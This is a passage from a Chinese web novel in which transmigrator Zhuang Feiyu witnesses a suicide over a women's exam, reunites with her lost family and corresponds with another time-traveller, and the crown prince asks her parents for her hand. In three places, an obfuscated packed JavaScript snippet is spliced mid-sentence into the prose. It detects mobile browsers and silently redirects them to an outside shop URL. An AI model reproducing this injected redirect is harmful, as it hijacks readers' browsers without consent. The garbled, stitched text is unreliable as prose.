“还是盛京好,衣服好看,样式也多。”郦之宁羡慕地抬头看看其他女孩,再低头看了看自己,顿生自卑。 不知走到哪里,前方有一堆人围着,郦之宁好奇地钻进人群,想看看热闹。 刚挤进人群,她看见一个女孩子站在台上,慷慨陈词,两个衣着朴实的中年男女不停拽她,想将她拉下去。 郦之宁戳了戳旁边人,问她: “这是发生什么事了?” 庄非鱼和郦之清也挤进来了,一看见郦之宁,郦之清的火气蹭蹭冒上来。 她抓住郦之宁的胳膊,怒斥道: “人群如此拥挤,你就不怕走散了找不到家?” “怎么可能,我记得路。”郦之宁毫不在意,她继续戳旁边的女孩子: “这几个人在做什么?” 女孩子对她讲: “这家姑娘想考今秋的女试,可父母已经给她定了亲,她不愿意,正和父母争吵呢。” “那未婚夫一定貌若钟馗,腹内空空吧。”郦之宁以己度人,好奇问道。 女孩子摇了摇头,道: “恰恰相反,那未婚夫相貌堂堂,文质彬彬。” “考试不也是为了嫁人?真是个傻女,有了好男人不知珍惜。” 郦之宁嘟囔着,忽见台上女子大笑一声,挥刀自刎,鲜血劈头盖脸溅了她一身。 温热的血溅进她眼里,她只觉眼前一红,模模糊糊看见庄非鱼上前一步,撕开袖子,按住女子的脖颈。 她伸手擦了擦脸,鲜血却像长在她皮肤里似的,怎么擦也擦不尽。 那女子睁着眼,和她的眼睛死死对上。郦之宁想挣脱,却似乎有一股迥异的、她无法理解的神秘力量,将她钉在原地。 她咽了咽口水,却只咽下满口鲜血。 没一会儿,她看见一个极优雅的紫衣贵女,带着一帮兵士过来。 紫衣贵女掏出腰牌,大喝一声: “皇城司办案,闲人退散!” 众人听罢,连忙让出一条路。 庄非鱼抬头一看,是郗名微。 她穿着绣金紫衣,发髻精美,脚上蹬着五彩系绳的木屐,似乎正在逛街,被偶然拉过来了。 郗名微蹲下,对庄非鱼点头示意后,伸手轻探女子鼻息。 庄非鱼闭眼,轻轻摇头,用神情告诉她: 已经没救了。 人群中有男子嘀咕: “女试祸国殃民,害了一条大好性命,应当取缔!” 人群跟着附和,声音越发嘈杂,越发盛大。 郗名微站起来,怒喝一声: “别吵了,人还有救。周曹司,赶快抬副担架过来,送医救人!” 庄非鱼愕然抬头,不明白为何女子已亡,郗名微却说她还有救? 她眼睁睁看着皇城司卫抬走女子的尸体,带走女子的父母。 郗名微居高临下看着她,对她微笑道: “庄姐姐,我先走一步了,今日匆忙,我们择日再聚。” “好。”庄非鱼点头答应。 她手腕滴着血,悬空在身前。 郗名微略一点头,低声吩咐身边侍卫: “疏散人群,通知新闻部,控制好舆论。” 边说着话,边转身离开。 出了这样的事情,她们三人也没有闲逛的心思,转身便回家了。 回到房间,郦之清看遍报纸,摊开笔墨,提笔写上【答诸公言】,预备再发一篇文章。 郦之宁则一言不发,偷偷躲在房间里,清洗自己的脸颊皮肤。 往后几天,她总觉得脸和脖子有些发痒,死去姑娘的眼睛总是出现在她的梦里,让她夜不能寐。 她愈发害怕,以为女子死后缠上她了,她不敢给郦之清说,私下里去道观寺庙,找道士神婆驱了几次魂。 可都没有效果。 最后,她经其他神婆牵线,找了当地最灵验的马三娘,让她帮忙驱魂。 马三娘说: “驱不掉的,你自娘胎起便缺魂少魄,那姑娘自尽时,将一魂一魄落在你身上,补全你的魂灵,自此,你才成了真正的人。” 郦之宁犹豫问: “那我……我要做点什么吗?” 马三娘道: “你若有心,帮她尽一尽孝道,为她积些福,这就够了。” 郦之宁心里怕的不行,她掏钱打听那姑娘的身世。 听说她是独女,念书极好,父母一直将她当做骄傲,从小到大没说过一句重话。 及笄之后,父母千挑万选,给她找了一个和和美美的家庭,未婚夫才貌双全,就是家中子嗣不兴,希望能尽快完婚,多生些孩子。 她不愿意,辛辛苦苦学习这么多年,就是为了这场考试,为此和父母频频争吵。 直到近日,父母发了狠,烧了她的书,毁了她的考籍,让她终身考试无望,她万念俱灰之下,跑出门给了自己一刀…… 郦之宁听完后,去神殿寺庙给她捐了门槛,点了魂灯,偷偷看过那家父母。 父母佝偻身体坐在院里,一人一凳,背对无言。 郦之宁朝门缝塞了包银子,悄悄离去。 可能是这包银子起了作用,也可能是姑娘一魂一魄带来的效果。 郦之宁总觉得自己“开了窍”,看书学习一日千里。 她自觉做了件好事,向郦之清去炫耀,郦之清听完,一时语塞。 她说: “你高兴就好。” * 另一头,庄非鱼也正忙着。 她鬼鬼祟祟避开人群,提笔来到花园角落,想着给木兰商行大掌柜写上一封信。 该写什么呢? 庄非鱼咬笔沉思,写下【奇变偶不变】五个字。 不行不行,万一她是个外国人,不知道这句口诀怎么办? 她写下【HELLOWORLD】,又立刻提笔划掉。 万一对面不是程序员,看见这句只会觉得神经吧。 有没有什么句子,是古今中外男女老少的穿越者都知道的? 好像没有。 庄非鱼想不出来,干脆放弃逼格,将自己能想到的所有暗号都写上去。 从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388975|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【爱你孤身走暗巷】到【生存还是毁灭】,整整写了三页大纸,这才折叠好,留下地址: 东宫后门街道第三家店铺门口摆摊卖糖画的摊子。 她给糖画爷爷几十文钱,告诉爷爷:“如果有人送信到这里,一定要交给我。” 然后署名:一个木匠。 做好漏洞百出的准备后,她带着信,走过那条学霸蜜饯街,一路走进木兰商行总部,将信偷偷夹进门缝后,迅速跑路。 一连跑过两条街,庄非鱼带着忐忑,蹲下身子不住喘气。 她心里知道:人家是木兰商行大掌柜,自己明面上只是一个小小斥候,不至于有什么危险。 就算有危险,她还有系统兑的星币没用呢。 可心里却忍不住害怕,也不知道在害怕什么。 缓过神来,她顺着墙跟慢慢溜达。走着走着走到学堂门口,听见前方传来一道稚嫩霸道的声音: “诸葛狗蛋,你敢不听我的话?我就半夜偷偷烧了你家!” “士可杀不可辱,你烧了我家我也不给你抄作业!” 庄非鱼好奇地望过去,看见一个梳着包包头,穿着粉色裙子的小女孩正背对着她,一脚踩在男孩背上。 旁边三三两两围着些同龄小孩,都在看小男孩的笑话。 庄非鱼心想:谁家小孩这么恶劣?小小年纪就开始威胁同学? 她走上前,准备制止这场霸凌。 小女孩继续威胁道: “呵,我庄梦蝶长这么大,还是第一次见到敢惹我的人,同学,你成功引起我的注意,准备选个什么死法?” 围观的小孩纷纷哄叫起来: “画乌龟,给他脸上画乌龟!” “关进茅房,不让他出来上课!” “给小蝶当马骑!” “欸……我也想骑大马。” 庄非鱼越听,眉头皱的越紧,她快步上前,想看看这位庄梦蝶是何方神圣,一转头…… 两张一大一小、一模一样的脸直直对上。 庄非鱼人都傻了,她瞪大眼睛看着庄梦蝶,庄梦蝶亦瞪大眼睛看着她。 “你……”两人一齐开口。 “你是谁?” “你抄我的脸!” 两人又是齐齐开口。 听见庄梦蝶倒打一耙,庄非鱼好笑问: “我比你大这么多,要抄也是你抄我的脸吧。” “我没有,我生下来就长这个样子。”庄梦蝶嗫嚅道。 诸葛狗蛋趁机爬起来,拍了拍身上的土,嘲讽庄梦蝶: “你不光想抄我作业,还抄别人的脸,羞不羞?” “我没有抄,可能是我爹爹妈妈抄了,呜呜呜。”庄梦蝶放声大哭。 看见小号的自己哭成这样,真是一个陌生又奇妙的体验。 庄非鱼挠了挠耳朵,笑道: “你别哭了,或许是不小心的。” “我不要和别人长得一样。”庄梦蝶小脸通红,哭得越发大声。 诸葛狗蛋见了,掏出手帕去擦她的眼泪,其余小孩见了,纷纷掏出手绢给她擦。 庄梦蝶低头一看,连忙挥手,推开众人的好心。 她流着鼻涕说: “离我远点,呜呜呜,你的手绢,呜,有鼻屎,呜呜呜……” 诸葛狗蛋说: “我的手绢是新的,给你。” 庄梦蝶夺过去,恨恨抹了两下,还给狗蛋。 见熊孩子哭到哽咽,庄非鱼头疼地转身,忽然看见一个清秀俊雅的男子,站在墙角呆愣愣地看着她。 她跟着愣住了,好半天才吐出一个字: “哥?” 59. 纳他为妾 自从高三那场车祸后,庄非鱼已经五年没有见过哥哥了,她以为这辈子只能在梦里见到,没想到进入游戏,蓦然回首……竟然看见活生生的,能和她说话的哥哥。 她恍恍惚惚被庄无涯牵着,带回庄府。 一路上,庄梦蝶叽叽喳喳,问个不停。 “姐姐你真是我姐姐?” “我没有抄你的脸,是爹爹妈妈抄了。” “姐姐为什么先有我后有你?” “姐姐你怎么不说话?” “姐姐你不许吃我的糖葫芦,我可以让豹豹陪你玩。” “噤声!”庄无涯一把敲到庄梦蝶头上,对庄非鱼道: “八岁那年你失踪后,爹娘和我一直在找,可怎么也找不见。后面小蝶出生,娘说一定是你回来了,重新投生到她肚子里。” “我,失踪?”庄非鱼困惑道。 “你可能都不记得了。” 庄无涯望着她,怀念道, “那年爹爹赴京上任,途中惊马,马车翻下悬崖,咱们一家人失散。我们找了近一年时间,都没有找见你,只能无奈来到京城。现在你的寻人启事还在那边贴着,我命人月月换上一张……后来你去哪了?” 庄非鱼含含糊糊,犹豫道: “我一个人生活,后来经人介绍进了除魔司。” “一个人生活,”庄无涯低声重复,眼里的心疼几乎要溢出来。 他摸摸庄非鱼的脑袋,道: “以后,小鱼再也不是一个人了。” 再也不是一个人了…… 庄非鱼牵住哥哥的手,低头下去,眼泪不受控制,大颗大颗掉下。 庄府里,爹爹刚下值,娘刚从菜市回来,两人吵吵闹闹做着饭,等庄无涯带妹妹放学回来。 他们怎么都想不到,庄无涯带回来两个妹妹。 庄梦蝶挣脱哥哥姐姐的手,跑进厨房喊: “姐姐回来了,和我一样的姐姐。” 娘拿起锅铲,不明所以,出了厨房,看见那张和庄梦蝶一模一样的脸。 她每晚每晚做梦都能梦见的脸。 她颤抖着声音,不确定地喊: “小鱼?” 庄非鱼点头说: “是我。” 爹也跟着出来,惊喜之下,甚至扯断胡须。 他高兴地喊: “老刘,快去买些好酒好肉,我女儿回来了,我丢了十几年的女儿回来了!” 老刘是家里雇来的驼背仆人,听了这话,连忙答应,背着手就出了门。 庄非鱼红着眼眶,打量这个家。 家并不大,仅有一个院子并七八间平房。院里种着一棵梨树、一棵核桃树,两棵树中间搭了个秋千,随风摇摇晃晃。 厨房冒着白烟,爸妈身上一股烟熏火燎的饭菜气味。 妈妈和她印象中一模一样,甚至连笑起来的鱼尾纹都一模一样;爸爸蓄了长发和胡须,看上去有些陌生,可那双眼睛还是她记忆里的样子。 哥哥亦蓄了长发,没有胡须,一举一动自有风度,宽袍广袖好看极了。 还有妹妹,妈妈肚子里的妹妹,和她长得一模一样,性格跟个小霸王似的。 她曾经无数次想过:爸妈会不会在另一个世界,一家人在一起等她回来。 她想:也许自己死亡那天,爸妈和哥哥会一起来接她。 可真的见到了,她又恍惚,担心这只是一场梦。 莫非自己睡着了,还在做梦? 妈妈见她迟疑,上前一步抱住她,轻轻抚摸她的脑袋: “小鱼回来了就好,回来就好,妈妈给你做饭。” 然后嗔怪庄无涯,“快带你妹妹回屋。” “好。”庄无涯牵回庄非鱼的手,“你的房间,我们一直给你留着,每天都在打扫呢。” 他心想:小鱼一个人在外面,定然住不好,庄家虽然清贫,但好歹有片瓦容身。 “除魔司不管住宿,你现在住在哪里?”他问。 “住在……”庄非鱼卡顿一瞬,不知道该不该说出“东宫”二字。 “住在灯市。”她回答。 “灯市太远了,你回家住吧,往后我和爹去上值,还能顺道捎你过去。”庄无涯拍板决定,顺手打开第三间房,将钥匙递给庄非鱼。 “这就是你的房间。”庄无涯道。 庄非鱼咬住嘴唇,点了点头。 她吃了自高三以后最美味的一顿饭,和父母兄妹说话直到深夜,才抱住新衣服回到房间。 熄了灯,外面忽然传来重重的敲门声,隔壁房间的庄母催促庄父赶快开门。 爹点蜡出去,吱呀吱呀打开旧门…… 嘈杂的脚步声后,院子登时灯火通明。 一道冷峻如水的声音传来: “庄编修,我在您这儿找个人。” 庄非鱼猛地坐起,一拍脑袋,心想完蛋。 竟然忘了给东宫捎一道口信! 她翻身起床,重新点起蜡烛,端着烛台出门。 打开门,院子已被火把围住,正中间是身着太子常服的北山鄢,和跪地拜见他的庄父。 见庄非鱼出来,北山鄢神色一松,扬唇问道: “不回家怎么也不说一声?” 庄非鱼披散着头发,不好意思道:“我忘了。” 她环顾四周,见母亲和哥哥都出了门,正用复杂的眼神盯着她。 哥哥:你不是说自己住在灯市吗? 母亲:什么时候连对象都谈好了?! 父亲:我失踪十几年的女儿竟然和太子殿下有瓜葛? “既然无事,我便放心了。”北山鄢朝她伸手,“你明日还要上值,要不要随我回去?” “不了,明天我爸和我哥会送我去除魔司。”庄非鱼捧着烛台,一步步走过去,踮起脚尖凑到他耳边轻声说: “我找到家人了。” 北山鄢眸光一变,屈身扶起庄父道: “在下一时心急,冲撞贵府,明日再来赔礼。” 庄父惶恐起身,连声道“不敢当”。 北山鄢随后移开目光,对庄非鱼笑道: “明天我再来接你。” 庄非鱼小声答他:“明天再说。” 她环顾四周,看见院子里站满东宫仆从和黑甲卫,心想不就一晚上没回去嘛?何必兴师动众,搞这么大排场。 她连忙催促北山鄢离开。 黑甲卫撤离后,庄父迅速关上门,盯着庄非鱼,忐忑道: “小鱼,太子殿下为什么会找你?” 庄非鱼沉思一下,道: “事情是这样的,因为我是一个弱小无助的小女孩,没有地方住,太子殿下可怜我,就大发善心分给我一个院子。” “莫要胡说,”庄母笑恼着敲她脑袋一下: “告诉娘,你和殿下是什么关系?他欲纳你为妾否?” “纳我为妾?怎么可能?”庄非鱼跳起来,“要纳也是我纳他为妾!” “又胡说!”庄父严肃道,“你放心,以咱家的身份, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388976|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不至于连个位分都不给你。” “看殿下今日的样子,似乎很在乎我们小鱼。”庄母若有所思。 “在乎也不行,我妹子怎么能做妾?”庄无涯皱紧眉头。 “你妹子都住进东宫了,生米已经煮成熟饭了。” “没煮,没煮!”庄非鱼连忙大喊。 家里人忽略她的话,继续讨论道: “做妾确实委屈了,至少也要个侧妃之位。” “侧妃?侧妃也委屈。我们不求高攀皇家,只要小鱼当个普通人家的正头娘子,平平淡淡一辈子就好。” “可你看方才,你女儿和太子殿下的样子,分明已经定了终身。” “唉,怪我们找到的太晚,耽误了她。” “殿下说他明日过来,明日定要他给个说法不可!” 庄非鱼目瞪口呆,看父母哥哥三言两语定了她的婚事。 她愤怒地想:什么太子?什么侧妃?我的真实身份说出来能吓你们一大跳! 到时候不是你们要北山鄢给我个说法,而是要我给北山鄢一个说法! 她蔫蔫回房。 第二天一大早,北山鄢已经在门口等着了。 庄母火急火燎叫醒庄非鱼,拿给她一个大煎饼,催她出门。 庄非鱼揉着眼睛被推出去,看见她常坐的马车等候在门口,几乎挤占了整个街道。 父亲和哥哥坐在一辆素朴的小车上,可怜兮兮被挤到角落。 见她出来,北山鄢撩开帘子,笑道: “上车吧。” 听了这话,庄无涯急忙大喊: “小鱼,我们送你过去。” 北山鄢瞥了他一眼,继续道: “除魔司和翰林院并不同路,此时出发,恐有一人迟到。” 正说着,庄母抱着庄梦蝶冲出院子,大喊: “还有小蝶,你们怎么把她忘了!” 庄梦蝶背着书包,昏昏沉沉,犹在梦中。 庄非鱼一看,觉得北山鄢说得有道理,嘴里叼住煎饼,翻身上车。 坐上车后,她对哥哥道: “哥,你们快走吧,不用送我了,小心上班迟到。” “未婚姑娘怎么能叫外男送她去衙门?”庄父看着女儿离开,浑身颤抖。 庄无涯一锤车厢,咬牙叹息道: “算了,也不差这一回。” 至于车上的庄非鱼,她什么都没想。 她本来就不是这个世界的人,对古代的了解仅限于刷短视频刷到的古装剧片段。 来除魔司后,李念儿和苏巧巧虽然也教她些为人处世的道理,但大都和工作相关,要是还考虑什么“外男”“贞洁”,工作就没法开展了。 她没心没肺地撕下半个煎饼,递给北山鄢: “我妈烙的,要不要吃?” 北山鄢伸手接过,疑惑道: “你何时找到的家人?” “就在昨天!”庄非鱼眉梢带笑: “昨天我下值溜达,走到一处学堂,看见一个小女孩和我长得一模一样。她哥哥过来接她,我一看,这不是我失踪多年的亲哥吗?” “失踪?”北山鄢撕下一块饼,反问道。 “小时候我爹赴京上任,遇到意外,我和全家人失散了,今天才找到他们。” 庄非鱼小口吃着饼,心想这个世界的妈妈会烙饼哎,真厉害! 北山鄢垂眸,学她的样子撕饼吃着。 良久后,他问: “你要搬出东宫吗?” 60. 庄父谈亲 庄非鱼动作一滞,心中忽然涌上一股烦闷之气,直涌到喉咙,让她连饼都吃不下去了。 她反问道: “你要我搬出去吗?” “不要。”北山鄢摇摇头,“你想住多久就住多久。” 烦闷之气四散开来,庄非鱼心中安定,继续撕饼吃着。 纠结一会儿,她苦恼说: “我想和家人住在一起,可是担心上值迟到。” “不如这样,往后你想住在东宫就住东宫,想回家就回去,只是要提前告诉我一声,我好来接你。”北山鄢笑着提出建议。 “这样会不会太麻烦?” 庄非鱼望着他,越发不好意思。 马车忽地一停,她不受控制向前一仰,北山鄢忙用手臂揽住她。 待两人坐稳,北山鄢柔声道: “怎么会麻烦?你救了我一命,救命之恩,怎么都不为过。” 门外传来侍从的声音: “禀殿下,除魔司到了。” 北山鄢擦了擦手,打开车中箱柜,取出一个镂空雕花的竹盒。 “这是御膳房新出的点心,带去给同僚尝尝。” 庄非鱼打开一看,有她最喜欢的糖荔枝。 她眉开眼笑,向北山鄢挥了挥手,翻身跳下车。 一盒子蜜饯点心,诱来斥候部一堆同事,收获一条“人美心善”的评价。 不知谁带来些瓜子茶水,十几个人坐在一起,吃吃喝喝,吐槽工作。 “还是你们这队好,接到的都是大任务。”一个姑娘羡慕道。 “哪有大任务?我进除魔司快一年了,没遇见一个魔头。”庄非鱼抓起一个糖荔枝扔进嘴里。 另一个男子倒杯茶水给她,吐槽道: “至少你还救了太子殿下,哪像我,进除魔司十几年,遇到最大的案子竟然是一群假和尚捣鬼。” “平安无事你就偷着乐吧。”同伴用胳膊肘撞了他一下,“六年前的淮宁逢魔一案,折了除魔司大半个衙门,最后还是让那魔头逃走……咱们这行当,平常无事,一有就是天大的事。” “淮宁逢魔?”庄非鱼好奇问,“是什么案子?” “快吃你的糖荔枝。”翟流云连忙打断庄非鱼,转头瞥了一眼李念儿,见李念儿低头不语,安静削着香瓜,他转移话题道: “张兄昨日出差回来,不知案子情况如何?” 张副参事捡起一块点心,用诡秘的语气道: “有一山村幽谷,时常传来哀怨凄凉的嚎叫,村里秀才疑是入魔前兆,上报除魔司,结果我们去了一看……你们猜是什么?” “是不是狼嚎?”庄非鱼猜测。 “或者野猫、猫头鹰?”翟流云跟着猜测。 “都不是。”张副参事摇头叹息道,“我们查了整整半个月,最后查出是村里小孩半夜不睡觉,聚众去山谷,比谁喊的声音大。” 噗…… 庄非鱼一口茶水喷出。 这是什么走近科学栏目。 “小姑娘还是经历太少。” 张副参事抬眼一看,递给她一条手绢,稳稳道: “除魔司大半的案子都是这样,你多见见就知道了。” 吃完茶点,众人一拥而散,各自做各自的事去了。 苏巧巧不在,庄非鱼和翟流云一齐收拾桌子,扫掉一地垃圾后,她奇怪问: “念儿怎么没在?” 翟流云没声好气道: “八成是去找陈兄了。” “陈兄?”庄非鱼不知道他说的是谁。 “刚才挑起话头,说淮宁逢魔案的那个。” 翟流云扔掉抹布,烦躁道: “找他有什么用?他这个级别能知道什么?” “念儿为什么要问这个案子?”庄非鱼糊涂了。 “你知道念儿是淮宁王的女儿吧。”翟流云问。 庄非鱼摇了摇头,“不知道,我只知道念儿是郡主。” 翟流云沉郁道: “永煦十七年冬,淮宁出了个大魔头,一夜之间屠尽淮宁王府,唯有在外祖家做客的念儿躲过一劫。魔头姓名祖籍无人得知,念儿进除魔司,就是为了追查此魔下落。” “原来是这样。” 庄非鱼放下扫帚,终于知道李念儿的身世。 一直以来,她只从他人口中隐隐约约听过李念儿满门皆亡,可具体发生过什么事情,她一无所知。 她也从不过问,免得揭开李念儿的伤疤。 过了一会儿,李念儿回来了。庄非鱼只当自己没听过她的身世,照常做事,翟流云却冷哼一声,不搭理她。 庄非鱼更觉奇怪,心想翟流云向来爱极李念儿,现在却爱理不理,定有什么其他内情是自己不知道的。 但人家小情侣的事,自己就不方便参与了。 * 下班后,她悄悄避开人群,跑到东宫后门街道第三家店铺门口摆摊卖糖画的摊子前,照常道: “唐爷爷,我要一支张飞。” 唐爷爷乐呵呵一抬头,“是小鱼啊。” 他熟练地持起铜勺,舀一勺糖液,在油纸上绘出皮影的图案。 糖画没一会儿就做好了,庄非鱼接过去问他: “有没有我的信?” “让我想想,好像是有这么一封。” 糖画爷爷从装钱的袋子里掏啊掏,掏出一封雪白雪白的信件,递给她。 庄非鱼一口咬住糖画,怀着期待的心情,拆开信封。 展开信纸,上面仅有一句话: 【你好,同乡人。】 糖画啪的一声摔在地上,碎成七零八落的糖块,庄非鱼盯着这行字,浑身颤抖。 第三个了。 这是她遇见的第三个穿越者。 她握紧信纸,急忙奔跑回除魔司,迫不及待展开一张纸,落笔时却踌躇了。 她想了又想,最后轻轻写下: 【你好,我叫小鱼,2024年大学毕业穿越到这里……】 她零零碎碎写了很多,她的疑惑,她的痛苦,她对这个世界的看法……除了自己的身份信息和世界真相。 写到夜深了才写完。 她将信藏到自己上锁的柜子里,这才慢慢回到东宫。 木樨院里,北山鄢等候多时。 他问: “怎么现在才回?” 庄非鱼心虚道: “下班时不小心睡着了,刚才醒来。” “真是,”北山鄢敲了敲她的脑袋,“昨日说要拜访庄府,我们现在去吧。” 两人乘车到了庄府,家里饭菜已然冰凉。 见到庄非鱼,庄母第一个上前,拧住她的耳朵问: “我们以为你在东宫,太子殿下以为我们把你接回来了,刚才独自一人前来拜访……天色这么晚,你到底去哪了?” “疼疼疼,”庄非鱼歪着脑袋大喊,“我下班不小心睡着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388977|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了嘛。” “你呀你,”庄父指着她痛心疾首,“当个丫鬟都嫌笨!” “庄编修何至于此?” 北山鄢拦住他,侧身挡到庄非鱼面前: “小鱼也是一时大意。” “对对对。”庄非鱼躲在他身后连声称是。 放在以往,她绝不会忘记回家,可今天是另一个穿越者来信! 这么大的事,她一时情急忘了回家也是正常的吧。 庄非鱼心虚想着。 “罚你今晚不许吃饭。”庄父拂袖怒声。 “不吃就不吃。”庄非鱼嘟囔。 “好了,说要拜访的人是我,不是小鱼,怪我没有和她说清。” 北山鄢替她打圆场。 庄父眼睛一瞪,按下怒气道: “殿下请入座,臣布了一桌好菜。” 北山鄢牵住庄非鱼的手,进了正房。老刘热过饭菜后又端了上来,蔬菜已经有些发蔫了。 和庄父谦让过一轮后,终究君权大过父权,北山鄢坐上首位。 庄父倒了一杯酒,道: “殿下尝尝,这是我们故地的佳酿——女儿红。” 北山鄢和庄父碰杯后,一饮而尽,夸赞道: “澄香醇厚,滋味甚佳。” “这女儿红可是有一段来历。”庄父卖了个关子。 “庄编修请讲。”北山鄢配合他。 庄父抚了抚胡须,放下酒杯,笑言道: “我们老家有个习俗:女孩子出生时,父亲需取糯谷酿成三坛子酒,埋在树下。待女儿出嫁时恭送到夫家。” 庄非鱼停下干饭的嘴,张口问: “我们老家哪有这种习俗?” “闭嘴!吃饭都堵不上你的嘴?”庄父暴怒,捻断三根胡须。 北山鄢见状,夹给庄非鱼一块排骨,笑道: “听父亲说。” 庄父满意地点点头,继续道: “我家小女出生时,我便在门口的桂花树下埋了三坛。” 见庄非鱼抬头欲言,庄父用严厉的眼神示意她闭嘴。 但她还是忍不住,试探问道: “能让我喝一口吗?” “喝喝喝,就知道喝!”庄父恨不得咬碎后槽牙。 别人家生个女儿,温顺柔婉,善解人意,自己家的怎么一点不懂揣摩大人的心思? 庄非鱼撇了撇嘴,没想到这个世界的爸爸这么凶。 她在现代时,都是不带脑子想说啥说啥,想干啥干啥,被爸爸捧在手心里的。 没曾想回到这里,爸爸已经训过她好几回了。 她心里委屈,北山鄢却笑着给她倒了一杯: “绍兴黄酒有些烈度,不知你喝不喝得惯?” “我的酒量还用你说?”庄非鱼接过去一口闷掉。 庄父见了,哆哆嗦嗦问: “你,你还喝酒?” 在他错过的十几年里,女儿已经长成了集晚归、嗜酒、懒惰于一身的街溜子。 “是啊,这酒味道还不错,哪家买的?” 庄非鱼回味一瞬,又给自己倒了一杯。 庄父的话说不下去了。 听说太子才华横溢,他原本想先铺垫铺垫,通过女儿红暗示殿下,自己的女儿如珠如宝,可不能轻看了她。 可庄非鱼这个样子,让他怎么说得出口? 算了,爱咋咋地吧。 庄父心灰意冷了。 61. 求亲未遂 子女惯是会试探父母底线。 见庄父颓丧,庄非鱼坏心眼地端起酒杯,给庄父也倒了一杯,硬塞到他手里,对他说: “爹,我今天特高兴,咱爷俩走一个!” 说罢仰头,一饮而尽。 庄父捧着酒杯,气得哆哆嗦嗦道: “什么爹?我没有你这个爹!” 北山鄢在一旁强忍笑意,几乎控制不住表情。 缓了缓神,庄父挤出一个慈祥的笑容,对庄非鱼道: “好孩子,你妹妹养了几只豹子,要不要去看看?” “豹子?”庄非鱼提高嗓门。 她一把扔下筷子,抓住北山鄢的衣袖道: “走,我们去看看。” 庄父伸手挽留: “太子殿下就不和你一起去了,我陪他喝两杯,你跟小蝶一起去玩吧。” 庄非鱼低头去看北山鄢,北山鄢朝她挥了挥手: “你先去玩,我一会儿过来。” “好吧,小蝶,我们走。” 庄非鱼大喊一声,从门口跑出来一个和她长相一模一样的小女孩。 北山鄢瞧着可爱,朝庄梦蝶招招手。 庄梦蝶咬着手指过来,眼睛眨也不眨地看着北山鄢: “你真好看,和我哥哥一样好看。” 听了这话,庄无涯以袖掩面,心想多谢妹妹爱重,可论长相,哥哥我是比不上一星半点。 北山鄢解下一枚荷包,递到庄梦蝶手上,逗她: “叫声哥哥,哥哥便给你。” “哥哥,”庄梦蝶连声喊,“哥哥哥哥哥哥!” 北山鄢笑着系到她腰间。 庄梦蝶鼻尖一皱,双手扒拉打开,看见里面满满的金豆子。 她觉得有些重,反手一倒,金豆子噼里啪啦撒出来,撒的遍地都是。 一家人过来制止她,没治住,撒完金子,庄梦蝶系上荷包,高兴道: “走,我们去看豹豹!” 庄父长长叹息一声,没想到家里竟出了一对卧龙凤雏。 他心灰意懒地挥挥手: “快去吧,别杵在正房了,惹人心烦。” 两个女儿手牵着手离开,他转头一看,见北山鄢望着她们的背影,笑得温柔缱绻。 他心道有戏,重新招呼庄母和庄无涯落座。 三人坐在下首,庄父踌躇道: “太子殿下,我家小鱼毕竟是个未婚女子,无亲无故住在东宫,不太合适。” 北山鄢道: “庄编修有所不知,小鱼曾经救过我一命。” 他挑挑拣拣,将如意村的事说了。 庄无涯心急,直言道: “纵有救命之恩,赏她些金银也就罢了。未婚就住在东宫,往后她怎么嫁人?” 庄母踢了庄无涯一脚,跟着说: “殿下有所不知,女儿家的清誉,是她的第二张脸。就算您和小鱼清清白白,可落到他人眼里……” “倘若不清白呢?” 北山鄢抬眸道: “我心悦小鱼。” 在场三人被镇住了,没想到这么快步入话题。 沉吟片刻,庄父道: “我家姑娘自幼失踪,野性难驯,恐怕无法适应深宫生活。” 北山鄢回道: “不必她来适应,婚前婚后,一切如常。” 庄母叹息道: “士之耽兮犹可说也,女之耽兮不可说也。殿下如今情深,可若色衰爱弛……” “夫人未免太过小看女儿,以她的性子,会落到深宫怨妇的境地吗?”北山鄢道,“若我们缘分尽了,我会放她自由。” 三人听了频频点头,庄无涯问出最后一个问题: “若太子妃不容姬妾呢?” “什么太子妃?”北山鄢愕然: “从今往后,我只会有她一个妻子。” 他移开凳子,一撩下摆,面对庄家人跪拜下去,肃声道: “三书六礼,八抬大轿,一个都不会少,请庄编修和夫人放心将小鱼嫁我。” 庄父和庄母急忙站起来。 两人对视一眼,喜出望外,一左一右去扶北山鄢起来。 庄无涯仍有疑虑,他问: “殿下身份贵重,陛下和娘娘能答应吗?” 想起那位铁血手腕的皇后娘娘,庄无涯的心微微颤抖。 “娘娘为人开明,不会干涉我的婚事。”北山鄢微笑道。 庄父和庄无涯对视一眼,尴尬一笑。 “那就等殿下请封旨意后再说吧。” 庄父不动声色,抽回扶起北山鄢的手。 男人再好,遇上个恐怖的婆婆,日子也过不舒坦。 作为亲爹,在女儿的婚姻大事上,他必须考虑周全。 * 